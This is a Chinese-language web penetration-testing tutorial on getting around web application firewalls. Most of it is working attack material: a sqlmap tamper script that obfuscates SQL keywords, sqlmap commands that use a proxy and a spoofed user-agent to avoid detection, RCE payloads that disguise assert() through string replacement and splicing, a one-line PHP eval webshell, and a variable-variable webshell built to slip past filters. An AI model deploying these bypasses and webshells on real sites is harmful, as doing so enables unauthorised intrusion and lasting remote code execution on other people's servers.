Web安全-渗透测试-waf绕过02
waf绕过
漏洞发现
使用awvs,xray,appacan等综合漏洞扫描工具,发现漏洞
tpscan,wpscan,st2scan等单点漏洞扫描工具,发现漏洞
触发waf,可使用延时,代理池,白名单,模拟用户等绕过方法绕过,具体方法看上篇
漏洞利用
SQL注入
- 手工注入
不需要考虑CC防护,速度慢
- 工具注入
sqlmap 速度很快,会触发CC防御
sql语句绕过脚本
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload,**kwargs):
retVal =""
if payload:
payload = payload.replace("union","%23a%0aunion")
payload = payload.replace("select","/*!4457select*/")
payload = payload.replace("%20","%23a%0a")
payload = payload.replace(" ","%23a%0a")
payload = payload.replace("database()","database%23a%0a()")
return payload
python sqlmap.py -u "注入目标" --proxy="代理地址:代理端口" --tamper="waf-dog.py"
如:
python sqlmap.py -u "http://test.xiaodi8.com/sqlilabs/Less-2/?id=1" --proxy="http:tps123.kdlapi.com:15818" --tamper="waf-dog.py"
因为waf会识别工具,所以还需要修改user-agent
python sqlmap.py -u "注入目标" --proxy="代理地址:代理端口" --tamper="waf-dog.py" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"
也可以使用sqlmap的代理随机设置
python sqlmap.py -u "注入目标" --proxy="代理地址:代理端口 --tamper="waf-dog.py" --random-agent
-
proxy:代理绕过传cc
-
tamper:注入规则
-
user-agent:修改ua,防止匹配到工具的指纹!
文件上传
换行截断
RCE
各种绕过姿势
- 可逆算法绕过
hex,base64
- 替换绕过
txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);&submit=%E6%8F%90%E4%BA%A4ce
没有过滤assert
- 拼接+替换绕过
txt=$X='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','','pxhpxinxfo()');$xxx($y);&submit=%E6%8F%90%E4%BA%A4ce
过滤assert
- 更改传参方式
GET,POST,REQUEST
权限控制
一句话木马
<?php@eval($_POST['password']) ?>
-
@再php中含义为后面如果执行错误不会报错
-
eval()函数表示括号里的语句全做代码执行
-
$_POST[‘password’]表示从页面中以post方式获取变量password的值。
菜刀、蚂剑、冰蝎工具的基本原理
把一些具体执行语句集成化(各种各样在功能语句都帮你写好了),你直接连接执行就可
菜刀,蚁剑,冰蝎优缺点
-
菜刀:未更新状态,无插件,单向加密传输
-
蚁剑:更新状态,有插件,拓展性强,单向加密传输
-
冰蝎:更新状态,未知插件,偏向于后渗透,双向加密传输
加密流程
绕过waf获取权限
- 变量覆盖
<?php
$a = $_GET['x'];
$$a = $_GET['y'];
$b($_POST['z']);
//?x=b&y=assert
//$a = b
//$$a ->$b 变量引用
//$b= assert
//$b($_POST['z']);--->assert($_POST['z'])
?>
- 加密混淆
脚本加密
在线加密 在线
- 异或生成
webshell-venom-master工具,直接运行程序,即可生成webshell
声明:本文只供参考学习,如有误导请纠正